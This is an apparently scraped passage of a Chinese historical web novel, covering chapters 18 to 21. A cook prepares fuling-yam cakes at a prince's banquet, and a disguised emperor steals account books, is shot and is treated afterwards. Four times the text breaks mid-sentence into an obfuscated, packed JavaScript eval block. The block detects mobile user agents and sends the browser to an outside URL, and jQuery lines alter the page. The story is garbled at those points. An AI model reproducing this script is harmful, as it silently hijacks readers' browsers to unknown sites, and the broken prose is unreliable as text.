“要我说，这八姨娘真够拿乔的，明明是身份最低微的商户女，偏要摆出宠妾的款而，府中厨子不用，还要特意从外头请了厨娘来做宴。” “可不是嘛，宾客拢共不过三桌，两桌还是王爷先前的姨娘们，算什么大宴席……” 谢青禾端茶盏的手一顿，险些笑出声来。 这里外厨只有她一个，尴尬倒谈不上，只觉得啼笑皆非。 什么风光大宴，什么贵客盈门，什么人手不够……全是谢婉儿的虚荣心作祟。 来之前，谢婉儿趾高气昂、神采飞扬的说得天花乱坠，好似文王要给她办一场惊动全城的婚宴，谢青禾怕连日忙活，还特意多带了一身换洗衣物，预备着在府中留宿。 如今一看，不过寥寥几人，现下家厨都用不完，闹的这般动静。 谢青禾掩唇轻笑。 “小娘子，别笑了， ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17195973|196059||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 我家主子吩咐，要做些茯苓山药糕，你先处理山药皮，我去库房取些茯苓来。”家厨娘子说道。 谢青禾欠身应下。 与此同时，前厅宴席。 大理寺卿尹昉是个爱凑热闹的主，早就听闻文王这第八个姨娘备受宠爱，特来凑此热闹，可见过之后只觉无甚特别。 无趣，浪费自己这半日时间。 不过此次也并非虚行，宴席上的酒肉菜肴当真好吃，一时间，不觉多喝了几杯美酒，便踉踉跄跄地起身寻茅厕。 要说这文王府当真大，走不完的游廊，过不完的洞门，未找到茅厕，却好像看到一道熟悉的身影。 那人虽穿着朴素，眉宇间却透露出不容置喙的威严。 当下心头一震，轻声道，“陛下？” 萧蘅脚步一顿，回头看到尹昉脸上两块酡红，知他喝醉，便赶忙上前让他噤声，怕他一个声张，旁人都知晓他在此地。 “莫声张。”他拉着尹昉躲至假山后，尹昉此时酒意全消。 “朕此次来查文王私换百姓药材一事。”并将这段时间发生的种种一五一十全数告知尹昉。 “要入文王府查验账本，还需借你的令牌一用。” 尹昉未迟疑，连忙摘下腰间令牌递与萧蘅。 萧蘅接过令牌，转身离开。 他方才在后厨门外听得厨娘与谢青禾的谈话，知晓取茯苓的丫鬟必会途径此处，便在此蹲守。 不多时，廊桥末一丫鬟端着盘子，脚步匆匆走来。 那丫鬟行至于此，见萧蘅气度不凡，刚要行礼，萧蘅便道，“适才做了什么，我可看得一清二楚。” 丫鬟一惊，猛地直起身来，看到萧蘅腰间挂着刻着“大理寺卿尹昉”字样的令牌，当下浑身抖如筛糠，回想自己在库房一时没忍住私欲，便多拿了些茯苓，想着找个时间，将其卖掉换点银钱。 谁知竟被主家好友看了去，这好友还不是旁的官员，竟直接被大理寺卿撞见，当下心中又惊又恼，一时之间不知如何是好，只“扑通”一声跪伏在地，连连求饶，“官爷饶命，我只多拿了几块……再也不敢了！” 萧蘅沉默不语，只冷冷盯着她。 那丫鬟吓得将袖中那包茯苓慌忙掏出，“官爷，全在这里了。” 萧蘅弯腰接过，随手掂了掂，“三斤。按当朝律法，一斤以下罚银十两，三斤以上报送官府，你跟我走一趟大理寺吧。” 丫鬟赶忙抱住萧蘅皂靴，“官爷，你就放过我这次吧，家中老母生病，无钱买药，这才动了这歪心思，我再也不敢了，求爷饶过我这次。” 萧蘅喉结微动，做出一副于心不忍的样子，“看你年龄尚小，情有可原，此次便饶过你。” 丫鬟如蒙大赦，一双眼哭得肿如桃核，看着他，“我现在就放回库房。” 萧蘅一把拉过她，“适才我看到账房进入库房，想必要核对账本，此刻过去，不是被人抓个正着吗？” “这样，你把该交的茯苓照常送入后厨，钥匙交于我，我再将那包多余的茯苓放回原处。” “如何？” 19. 茯苓山药 丫鬟拂柳有些怀疑，但因自己做了亏心事，又不好明说，只忸怩地问道，“钱管家……刚才真的来过了吗？” 萧蘅哑然，自己当然是骗她的，毕竟自己现在都不敢露脸，若被文王知晓，那自己这休养的小长假岂不是就泡汤了，自己可不想回宫受那御膳房寡汤冷水的磋磨。 又不想同这丫头废话，直接提着那丫鬟的肩膀，故作往私库那边走。 丫鬟吓得直“哎呀”。 若真的被钱官家发现，自己必然被文府辞退，轻则被打骂、扣月钱，重则被送官。 根据《宋刑统》，盗窃主家财物量刑比普通盗窃重，可能判杖刑或刺面。 宋朝在雇佣奴仆时，主家看重身家清白，若有偷窃前科的罪状，消息传来，别家就纷纷不会考虑，只能去底层地方做些苦力，比如乱葬岗收尸或者再次被人牙子转卖去青·楼做最低等的粗使丫头。 一般被卖入王府的下人，家境都很困难，可以说没米下锅的程度，面前还是一个小丫头，若真被送官，以后日子怕是不好过了。 钱管家是什么样的人，丫鬟拂柳在清楚不过。 上次不过在后厨打了个盹，被他发现后，转眼就传到后厨张管家那边，足足罚了半月月俸，说是她耽误了主家用饭，又故意在主家用膳时提起这事，自己险些被辞退回乡。 前段时间他还提起自己侄家有个丫头正没处做活，若被他这样一个溜须拍马、邀功请赏的小人抓到把柄，自己一定会被清出去，给他那个侄女让位置。 拂柳为了保住自己在王府的活计，便赶忙道，“官爷，我方才说胡话您别放在心上。” 萧蘅见有转机，便稍稍松了下手。 “私库的钥匙在这，您将这茯苓放回原处后，若与钱管家碰面，将钥匙交于他便是。”拂柳道。 萧蘅整理情绪，冷冷道，“嗯。” 拂柳这才将那包茯苓与私库钥匙一同交与萧蘅手中。随后慌忙瞥了萧蘅一眼，担心他再反悔，于是匆忙端起托盘快步离开。 ＊ 王府后厨这边，谢青禾正在处理那些山药。 山药别名叫“山芋”，同现世说的芋头不同，芋头通常口感偏甜且绵软，在现世她最爱喝的就是紫薯芋泥啵啵奶茶，甜丝丝的，每次喝完心情就非常好。 时光倒流，在这个朝代，人们通常用芋头捣烂成泥，裹上面粉炸成芋泥丸子，也很好吃。还有香芋糕，做好后呈现淡紫色，再切片撒上白糖，别提多好吃了。 虽然芋头好吃，可山药的药用价值更高，可以用来调理脾胃虚弱、食欲不振。王府选用山药做糕点，想必也是看重这点了吧。 山药药用价值虽高，可它却不太好处理，轻轻一刮，里面就会渗出大量粘液。谢青禾每次处理时就会感觉双手发痒。 她在现世查过原因，说是里面有粘蛋白，放在盐水中削皮会瓦解这些蛋白，从而就不会手指发痒了。 谢青禾放在水中尝试后，发现当真如此，就算处理完，手上也没有那种麻麻赖赖针刺般的感觉。 旁的家厨看到谢青禾处理的又快又干净，夸赞道，“谢姑娘不愧是一日三十银两的厨娘啊，就是功夫在身上啊，快教教我们呗，我们就处理了这么一会，双手都快遭不住了。” 谢青禾莞尔一笑，“你们放在盐水中试下。” 众厨娘听后纷纷践行。 此时拂柳惊魂未定地赶来，到了门口稍作停留，缓了口气才进门。 “拂柳丫头，你怎的去了恁长时间，这难处理的山药我们都快处理好了，你才回来。”厨娘们调侃道。 “啊……哈，路上渴了迷了路，耽搁了会。”拂柳说完后，将那盘茯苓放在桌上，就蹲在一边烧火了。 旁人没在意，继续手中的活计。 谢青禾处理完山药后，看到桌上有一瓷罐，打开后，发现里面液体色如琥珀，质地浓稠不见底，这分明是上好的冬蜜，寻常人家为了解馋偶然只舍得买些春蜜吃下，春蜜色浅且质地较稀，并且里面有些颗粒杂质，品相没有冬蜜这般好。 正好一会放入山药泥中，增加黏性，这样糕体就不会松散不成型。 其他厨娘已经将山药尽数洗净，后又用一口铁锅加入冷水，将山药尽数放入后，熬煮半刻。 谢青禾感叹，文王府果然钱多势大，府中使唤丫鬟这般多，做起活来就是快。 不仅活做的快，府中厨具也别有洞天。 寻常她在食肆中，研磨食材用的是她初来钱庄巷时从旧货摊上淘来的一口旧青石臼，只花了二十文，若是新的要七八十文，她没舍得买。 可就算是谢青禾舍不得买新石臼，在这王府后厨直接用的是银臼。 这碗口大小的银臼若说是纯银的，那少说要五六两银子，抵得上寻常百姓半年的生活花销了。 可银子延展性极好，若是纯银制造怕是不一会就变形了。约莫里面掺杂了点铜，又用锤揲技艺反复捶打，方才使得硬度提高。 谢青禾从厨娘手中接过这银臼边感叹，边欣赏，细细看来发现外面还錾刻了云纹，当真精致。 此时锅中水已沸腾，山药早已被炖煮的软烂，谢青禾用笊篱捞出，众人纷纷将其放在银臼中捣烂成泥。 银臼质地细腻光洁，捣压时不沾壁，片刻见，山药就被捣成绵密的泥膏，用筷子轻轻一刮便下来，几乎没有损耗，当真比石臼好用。 谢青禾拿来桌上的茯苓，放入研磨的钵中磨成细粉，在过一遍细绢纱，将那些大块的颗粒筛去，这样糕体会更加细腻，入口不硌牙。 接着将山药泥、茯苓粉、面粉一同倒入陶盆中，随后谢青禾转身拿来舀三勺冬蜜、半碗清水放入其中，用筷子将其细细搅匀即可。 茯苓山药糕做起来也简单，面团揉好后放入模具中压印、蒸笼便可。 “谢姑娘，用这些模具。”厨娘递给她几个不同花样的模具。 谢青禾接过粗略看了一下，模具上大多刻着花开并蒂、鸳鸯戏水、鸾鸟和鸣这些花样，寓意婚后生活美满的美好寓意。 谢青禾同厨娘一起，将面团揪成等份剂子，再纷纷填入模具中，用压板按实，随后在盘中倒扣，轻敲模具底部，这样里面的糕点便可轻松脱模。脱模后的糕点上面有清晰雅致的花纹，看着喜气洋洋。 拂柳这边烧好水后，厨娘拿来笼屉，将糕点一一整齐码上，谢青禾又抽点一些柴火，用中火慢蒸一刻钟。 此时，谢青禾也没闲着，她四处走动看有什么需要帮忙的活计。 “谢姑娘，你现在也 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17209080|196059||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 没事，来帮我把这金桔蜜饯切一下。”一厨娘呼喊道。 谢青禾应道，“好嘞。”这金桔蜜饯她在私房菜馆时经常做，人们通常喜欢在酒后来上几颗，缓解肠胃的辛辣，也会在饭后尝几颗解腻。 谢青禾走过来，看那案桌上的蜜饯早已风干结出糖霜，她将金桔蜜饯干放入饴糖罐中再次腌制片刻，之后用勺子捞出，此时的金桔被蜜浸渍后个个晶莹饱满。 在倒入锅中煎煮收汁，此刻金桔表面黏糊糊，用锅铲翻动还能拉出一道道闪亮的银丝，挂在金桔上当真好看。 谢青禾又去外面摘了几枝冬青，叶子圆润且有鸭蛋那般大小，将叶子清洗后摆入盘中，将金桔在个个放在叶子上，冬日本就萧瑟，这样装点一番倒是别有风味。 这时，后厨叮叮当当一片嘈杂间，传来一阵肉香。只见一盘中有摆放整齐的东坡肉，香气阵阵飘来，皮肉泛着油亮的琥珀色。 方才那厨娘正将磨好的杏仁浆在绢布上过筛，接着放入锅中同糯米浆、藕粉一同炖煮，为了口感香甜还放入牛乳、白糖，片刻后掀开锅盖便是完整的一块乳酪，盛放在白瓷碗中，在撒上杏仁干、蜂蜜当真诱人。 随着杏仁酪出锅，谢青禾想起锅中还蒸着茯苓糕，估摸时间应该可以了。 谢青禾走到到锅前，掀开笼屉，顿时一股清甜的香气传来。 旁边的厨娘都看直了眼，“你看这糕蒸的多规整，闻着香看着俊，我这口水都要就流下来了。” “快来把这些糕端下来吧，爷指名要的，咱快些做好端过去。”一厨娘道。 众人纷纷手脚麻利的端下来，谢青禾在盘中淋上蜂蜜，撒上桂花干，看起来就更别致了。 末了，管事捧着描金大托盘上前，那西湖醋鱼、玉米甜羹、酒酿丸子、茯苓糕、金桔蜜饯、东坡肉一同被端了去。 “啊呀，咱们忙前忙后大半日，到头来一口热的都吃不上。”一厨娘低声懊恼道。 谢青禾方才想着自己那盘茯苓糕不知蒸的如何，怕被谢婉儿指摘，于是便多做了一盘，现下正好大家都有些饿了，于是便端出来供大家一同品尝，“方才我多做了些，大家来尝尝吧。” “还是谢姑娘心细。”厨娘们顿时喜上眉梢。 旁边一婆子沉了脸，低声呵斥道，“胡闹，主家的东西若没有赏赐，岂敢随意享用？” 谢青禾赶忙解释道，“嬷嬷放心，我这笼本就是为防宴席上糕点不够、或是做饭过程中出现纰漏，特意做的备份。想来今日府中大半喜事，本就图个热闹喜庆，让大家沾沾喜气，想来主家宽厚仁慈，这样的日子必不会怪罪下来的。” 那婆子被她说得哑口无言，挑不出错来，便冷哼一声，甩着帕子悻悻离开。 “别理她，不过是小王爷喝了她几年奶，真当自己是府中主子了。”一厨娘撇嘴道。 厨房管事看了眼婆子离开的方向，“宴席上多备几份点心本就是常理，就算她真闹到主子跟前，我们也占着理。” 后厨管事说完，众厨娘心中便更加安稳，纷纷拿起糕点品尝。一口下去米香四溢、软糯香甜。 众人正吃得香甜，外头传来一阵轻快急促的脚步声，一丫鬟掀帘而入，扬声道，“谢姑娘可在？前头管事嬷嬷传话说让你到前院一趟。” 20. 不幸负伤 厨娘们纷纷抬头，心中想着这奶妈当真是去告状了。 后厨管事说:“爷可曾说明所为何事？” “旁的爷没多说，只是吃完几口茯苓糕后便让我来唤谢姑娘过去。”前院的丫鬟恭敬回道。 众人猜测的目光纷纷落在谢青禾身上，前院丫鬟顺着众人视线看到谢青禾正站在四脚木桌旁，手中还拿着半块咬过的糕点，额前轻薄的刘海盖上洁白的额头上，弯弯的柳叶眉下一双清亮的杏眼，一身鹅黄长褙子，通身给人的气势不像整日在后厨忙碌的厨娘，倒像是哪家高门小姐。 “您便是谢姑娘吧，快些一同走吧，莫让王爷等恼了。”前院丫鬟说着便上前轻拉谢青禾衣袖。 谢青禾也猜不到现在是何情况，万一那嬷嬷在主家面前告状，白说黑，圆说扁，若再被谢婉儿知晓，那自己别说拿到今日酬金，估计还要被倒扣一笔。 自己带来的肖衍别说搭把手，今日进了王府还未见过他一面呢，也不知去了哪里。 思及此，她不愿独身前往，若是被人冤枉，连个作证的人都没有。她眉头微蹙，目光恳切地望向那十几个家厨娘子，众人虽面露同情，可不敢去做顶撞家主的事，只眼巴巴的看着她，无人敢应声。 “我同她一起去。”说话的正是后厨管事娘子红烛。她看了谢青禾一眼，随后上前站在谢青禾身边。 有了管事厨娘一同前去，谢青禾心中也安定了不少。 二人跟着丫鬟曲折的廊院，走了好一会方才来到前院。 前院也并未太过喧闹，但几张餐桌上坐着府中各位姨娘、官员。姨娘们没太多言语，官员们不时向文王敬酒。纳妾在宋朝本就不是大事，就算办宴席也不过是意思一下，同往日家宴无常，若是真有官员、外人前来无非是看主家有权有势，前来交际攀附或者凑个热闹。 谢青禾同红烛来到文王跟前后，那一桌的氛围便逐渐安静下来，端茶送菜的丫鬟纷纷退下，那李嬷嬷正跪在地上。 “王爷明鉴，奴才无半句虚言，这外厨看着厨艺了得，实则心术不正，她在外面没见过好的，来了咱们王府终于把持不住了，竟偷起东西来。”李嬷嬷指着谢青禾嚷道。 主位上坐着一雍容华贵，气质不凡的女子，年龄与文王相当，正是文王正妃。身旁女子皆是府中姨娘，虽年轻貌美，可举止略随意轻浮，眉眼间皆是拈酸吃醋的神色。 她们看到谢青禾站在一旁，皆是一愣，这厨娘样貌清丽，仪态大方，竟比今日刚过门的新姨娘还要出众几分。 一时间，姨娘们面上个个都有些不自然，目光全落在谢青禾脸上。 谢青禾微微垂首，镇定道，“民女并未偷窃，请王爷明查。” 文王方才尝那茯苓糕，口感软糯清甜，府中厨娘从未做出过这般滋味，本以为是经验老道的厨子，没想到竟是这般年轻的姑娘。细细看来，他认出眼前这女子竟是半年前在国子监餐供比试中的谢姑娘。 他抬眸，声音低沉，带着几分欣喜，“又是你。” 众姨娘心中顿时一揪，王爷这话听不出喜怒，但都抱着宁错一百不放一个的态度，就认定面前这女子惹王爷不顺心。 于是一宠妾立刻按耐不住道，“新来的姨娘在房中不闷吗，让她出来看看自己请的厨子做得好事吧。” 谢婉儿听到消息后，心中一惊，就知道这庶妹上不了台面，来到王府居然还偷东西。她紧赶慢赶来到前院，却听到王爷声音有些愠怒，“这里岂有你说话的份？” 谢婉儿脚步一顿，心头一慌，见四姨娘已吓得浑身战栗跪伏在地，她见王爷面色凝重，连忙也跟着跪下来。 红烛帮忙解释道，“王爷，宴席备菜乃是常事，以防菜品不足或有差池，绝非谢姑娘私藏。” 文王沉思。 谢青禾道，“今日是王爷的喜事，王爷素来宽厚仁慈、体察下人，定不会在这般吉日苛待下人。” 这几句话既说清了缘由，又顺理成章地夸赞了文王，当真机智。 文王面色缓和，看着谢青禾眼中满是赞赏，“谢姑娘年纪轻轻，不仅厨艺绝佳，更是口齿伶俐，当赏。”说罢，便命下人取来五枚金瓜子递到谢青禾手中。 谢青禾躬身接过，面上不动声色，心中早已欣喜不已，这五枚金瓜子抵得上百两现银，远比今日的酬金丰厚得多。 席间姨娘看在眼里，心中满是不屑、嫉妒、埋怨。王爷独·裁专断何曾听信他人言语，如今竟被这厨娘三言两语哄得欢心，心中便都对谢青禾不满。 幸得这厨娘只在府上一日，继而众姨娘的埋怨便转移到谢婉儿身上。 宴席散后，宾客们拱手拜别。谢青禾跟着红烛和其他后厨娘子一同收拾餐桌。 谢青禾动作麻利，只想快点收拾妥当，好彻底离开这里。 只是除了宾客、文王走了，正妃却仍端坐在此处。 她站起来冷眼瞥了下谢青禾，继而缓缓向谢婉儿走来，“一个商户出身的妾室，刚进门就摆这样大的架子，府中厨娘不够用吗？还请外厨惹出这样的风波。” 正妃她出身官宦世族大家，家族与文王属于相互帮扶的关系，她向来如此教训这些姨娘，文王从未过问，他不敢奈自己如何。 ＊ 尹昉还未等到萧蘅的消息，不敢擅自离开，可天色渐晚，担心萧蘅在王府被人撞见，便按耐不住，转身去寻他。 他来到方才那个回廊上，刚站定，便见萧蘅从对面脚门出来。尹昉四处探望，见无人便赶忙走到萧蘅身旁。 萧蘅未多废话，径直从怀中掏出一本账本扔到尹昉怀中，语气凝重，“这上面有文王采购残次几乎不能用的茯苓入账记录，以及借着查验的由头强收民间百姓上好茯苓的记录，再以次充好交给百姓。” 尹昉接过账本，上面密密麻麻有几百次的交易记录，萧蘅的话让他不由得心中一惊。 “你务必查清他采购残次茯苓的货源地，再顺便查下文王到底所欲为何。”萧蘅心中像压着一块石头，他感觉文 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17215243|196059||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 王此举背后必有图谋。 尹昉点头。 “最好誊抄留存”，萧蘅声音低沉，“用不了多久，府内便会觉察失窃，到时必定封府搜查。” 尹昉抬头看向萧蘅，语气急切，“陛下您何时离开？” “我等谢青禾。”萧蘅顿了顿，补充道，“她今日在后厨帮忙，说好一起走。” 尹昉倒抽一口凉气，陛下素来冷淡，对后宫之事更是毫不在意，朝中大臣屡次进谏选秀扩宫，皆被他回绝。如今竟为了一个厨娘，甘愿留在险地等候，着实令他震惊。 萧蘅拍拍他肩膀，打断他的思绪，“你先走，先把账本拿出去。” 尹昉深知萧蘅的性子，决定的事绝不再更改，只得压下心中忧虑，躬身道，“陛下万事小心”，言罢，他将账本收好，快步转身离开。 萧蘅站在原地抬手理了理微乱的衣袍，此时宴席已散，后厨也忙完后也快收拾妥当了，于是便转身去后厨寻谢青禾。 突然一阵慌乱的脚步声传来，只见一身穿深蓝棉袍、账房模样的中年男子跌跌撞撞狂奔而来，面色惨白，失声吼道，“不好啦，私库账本失窃了！” 那男子惊魂未定，指着回廊方向叫嚷，“定是方才在此地停留许久的那两人！真是天杀的！” 萧蘅心下一沉，他与尹昉方才会面时竟未察觉有人经过。 瞬间，府内乱作一团，护卫的脚步声逐渐传来，萧蘅当机立断，闪身至拐角，趁一名小厮不备，抬手将其敲晕，迅速扒下对方衣服套在自己身上。 不过片刻，前院传来文王震怒的吼声，“废物，一群废物！连私库都看不住！”文王此刻双目猩红，“立刻封锁全府大门，一只苍蝇都不准放出去！传令下去，全府搜查，务必抓住盗册之人！” 而此时谢青禾已将后厨与前院餐桌收拾妥当，想着今日不仅拿到应得的工钱，王爷还赏赐了金瓜子，多赚十倍银钱，心中美滋滋的，谁知外面突然有许多护卫齐刷刷地守在府中每个角落，路过之人都要被搜查一番。 “不是吧，发生什么事了，我想出去了，这王府真不是人呆的地方，处处都有事。”谢青禾爬在窗边哀怨道。 她突然想到今日肖衍还未出现，这小子不会莽撞闯祸，出什么事了吧！ 此时的‘肖衍’确实有事，他知晓再拖延下去只会暴露行踪，怕是等不到与谢青禾一同回青云楼，只能先行离开。 他穿着这身衣服还算有点有点用处，一路过来只说，“王爷吩咐出门采买”这理由，便诓骗住许多护卫，可就在他刚到西侧角门时，只差一步便可彻底离开时，文王带着一众护卫匆匆赶来，身旁还跟着鼻青脸肿的钱管家。 “王爷，看身形就是他！”钱管家鼻青脸肿，指着萧蘅激动的说道。 文王当即夺过护卫手中弓箭，用力弯弓，箭矢‘嗖’的射出。 萧蘅顿时感觉肩膀被猛推了一下，下一秒就听到箭矢入肉的声音，鲜血涌出，他顾不上这些，只一味拔腿向前跑去。 21. 黄桃罐头 冬日晨雾迷蒙，晨起五时起，商户还未开门迎客，卖早点炊饼的店铺因着与别家营生不同，便早早在后厨忙活起来，蒸包子、烙馅饼、摊煎饼、烤包子，杜婆婆室内忙得热火朝天，便支开窗子透气。 老眼昏花还是怎地，竟看到一个浑身带血的男子倒在青石巷夹道里，对门就是谢娘子后院小门。 这青石巷是个别商户为了生活方便遂开辟了仅有两人半的窄巷，平常商户采买货品不方便在正门卸货便在这条巷子里进行，因而一般这条街上没有人来往走动。 街里街坊的，杜婆婆偶尔去谢青禾店中帮忙，有些新鲜食蔬都会给谢青禾送去，一来二去的，青云楼的伙计她也都熟悉，谢姑娘有时做的汤饼，客人还会来她店中买些炊饼来一起配着吃，给自己店里还带来了生意。 杜婆婆踱着步子上前，细细端详那人，只见他脖颈处全是血污，剑眉星目鼻梁高挺身形削瘦，尽管身上穿着粗布衣衫也没有那种市侩小民的气质。这不是谢姑娘家的那个账房先生吗，叫“萧……肖…衍吧”，杜婆婆内心嘀咕着。 “哎呦，这冰天雪地的，这孩子怎么浑身是血躺在门口啊。”杜婆婆边说边拍打谢家后院大门，“开门啊，谢姑娘。” 小允子率先听见后门有动静，他昨日一宿没睡好，心里反复想的都是陛下向来与文王不对付，却孤身前往文王府邸，现下文王正欲独揽朝政，若是被他发现岂不是有性命之忧。 店内食客虽未往日那样多，但也是忙到黄昏时分才消停，这时发现谢姑娘和陛下都还未回来。他当下心中就有些慌乱，因着萧蘅身份特殊，不能大张旗鼓声张找人，谢姑娘走前说的是让陛下帮她打打下手，二人一定是在一起的，于是便只能寻人问谢姑娘。 “谢娘子不是去王府做帮厨了吗？” “谢姑娘约莫这几日回不来了。” 小允子这才知晓，文王府失窃，正闭门严查窃贼，排查清楚才彻底放人。 阿鱼听到这个消息后顿时感觉心凉了一半，若是阿姊有个三长两短，那自己该如何是好？ 二人正六神无主直到夜半十分也未有半分睡意，小允子站在大门西边翘首以盼，阿鱼蹲在大门东边啃着手指，好似这样能减缓心中的焦灼。 “阿鱼！王哥！”谢青禾在路上晃晃栽栽地走着，突然看到整条钱庄巷的商铺就青云楼亮着灯，门口隐约能看到两个人影。 谢青禾回到自己熟悉的地方，一下子感觉很温暖，疾步上前一把抱住二人，眼眶湿热，强压着喉间翻涌的跳动。 二人从未见过谢青禾如此伤心的神态，当下便知此次行程并不顺利。 阿鱼挣脱谢青禾，语气愤慨，“阿姊，谢婉儿是不是欺负你了！”半年前那次诬陷逼得阿姊险些撞死的场景，仍历历在目，是阿姊捡回他的，就是阿姊给了他生命，他不允许任何人欺负谢青禾。 阿鱼怒目圆瞪活像一只气鼓鼓的河豚，谢青禾一下被逗笑了，弯起嘴角安慰他道，“无事，阿姊不是好好回来了吗？” 谢青禾摸摸他的头，轻轻拍着，阿鱼看她并未受伤，只是有些掩盖不住疲乏，“阿姊你忙了一天，一定很累，快去休息吧。” 小允子有些站不住了，方才他向谢青禾身后探望了好几次，都未找到陛下的身影，“谢姑娘，肖先生呢？” “方才我向人打听，从未有人见过他。”谢青禾也很纳闷，这肖衍到底去了哪里。 小允子发愁，若是陛下有个三长两短，他也不用活了。 小允子一夜半梦半醒，突然听到后门有动静，是对门婆婆的声音，他赶忙走出去打开门，“杜婆婆？” 杜婆婆见是个小伙子，正好有力气帮她挪抬肖衍，右手拉着小允子就走，“快些，你家账房不知为何晕倒在青石巷门口，快把他抬进去。” 顺着杜婆婆的视线，小允子看到脖颈以下全是血的萧蘅，他险些叫出声，赶忙背着萧蘅进屋。 谢青禾也吓一跳，好端端的怎么受这么重的伤！ 她让阿鱼帮他更换衣服，小允子也不等天亮，便直奔曹清徐医馆而去。 片刻后，老头子背着药箱气喘吁吁地走来，二话不说便开始把脉，“这一箭差几寸就伤及心肺，射箭之人有意为之。” 接着清理伤口，曹清徐吩咐谢青禾端来白酒、烛火、热水、水盆。 一切准备就绪后曹清徐先从药箱中取出一个瓷瓶，倒出些棕黄色药末，这个就是麻沸散，中国古代最早使用的镇静止痛的药物。 麻沸散先涂抹在伤口周围，接着将柳叶刀在烛火上沸烤片刻消毒，宋代箭头一般是倒钩型，只有切开周围伤口才能避免病情恶化。 刀下去的片刻，本来昏迷的萧蘅迷糊间唇角溢出一丝闷哼，随着“哐当”一声，箭头被彻底取出，伤口中不断涌出淤血。 过去郎中清理伤口可以选用白酒过盐水，只是二者各有利弊，要看患者身体情况如何，白酒性烈，但消毒程度较好；盐水较为温和，可论消毒程度就次于白酒。 萧蘅虽较为削瘦，可毕竟是男子，又出于病情程度来看，曹清徐便用了白酒消毒，纱布擦拭的一瞬间，萧蘅上半身不自觉地抬起，苍白的面容有些痛苦。 曹大夫零零总总清洗有半卷纱布，盆中清水早已鲜红一片，谢青禾换了一盆又一盆。 小允子站在一旁给曹大夫打下手。 阿鱼站在一旁有种被吓呆的感觉，他从未见过如此场面。 淤血清理完毕后，曹大夫将伤口细细包扎一番，又开了些活血化瘀的汤药、几副清创消毒的敷贴包扎，谢青禾于是便让小允子前去取药，曹清徐交代一些汤药服用计量以及日常饮食后便离开了。 此时窗外晨光微露，萧蘅仍未醒来，谢青禾将他换下的衣物抱走，趁着店中还未来客人，便准备清洗一下。 她捡起那几件衣物，发现这怎么看都像文王府中家仆的穿着，她回头看着躺在床上的萧蘅，回想昨日情形。 自打进入王府就不见踪影，第二日浑身是血倒在门口被人发现，衣服居然也乔装更换了。 看着他面色苍白虚弱 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17217154|196059||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ，浑身却气度不凡，他的家世到底如何？为什么从未听他提起？ 谢青禾突然感觉这人身上疑点重重…… 接下来的几天三人轮流照顾萧蘅，几天汤药下来，萧蘅醒来后第一感觉除了铺天盖地的疼外，就是满嘴的苦。 这日午后，谢青禾忙完店内的杂事，便端着刚熬好的汤药，还有一碗黄桃罐头汤水。 谢青禾来这里的前几年，正是病毒爆发的时候，特效药一粒难求，有人就说这黄桃罐头可以缓解感冒、喉咙痛……简直就是生病时候的神药。 谢青禾不管是否能缓解更重病症，她只觉得罐头汁水莹润清甜，喝下去只觉肺腑通畅。 这些罐头是她出来这个世界所做的，当时正值夏日，她在街上看见一老汉对着一筐黄色硬桃满面愁容，一天都未卖出一个，只因那时人们不认得这是寻常桃子的另一品种，名叫黄桃或金桃。 当时那老汉卖的桃子还未成熟，酸硬无比，再加上无人认得，卖价还不便宜，于是便无人上前贩买。 谢青禾看那老头呆了一天，天气炎热怪可怜的，于是临近傍晚时，她搞了搞价，用三十文买了一筐黄桃。 夏日那黄桃还吃不得，于是谢青禾将其通通削皮腌制成罐头。 她先将桃子用盐通通搓洗干净，接着用小刀一圈一圈的将皮削掉，因为果子现在硬实，所以不出半刻钟就全部刮好了皮。 接着将桃子通通对半切开，用汤匙在半拉桃子中间旋出桃胡，然后将桃肉切成大小一致的果肉块，这时放入盆中在冲洗一二，放入笊篱中沥干水分。 又花了一百文买来十个陶罐，将这些陶罐连同盖子一起放入沸水中煮上一刻钟，这样是为了消毒，不然桃子放里面腌制不出一周就全坏掉。 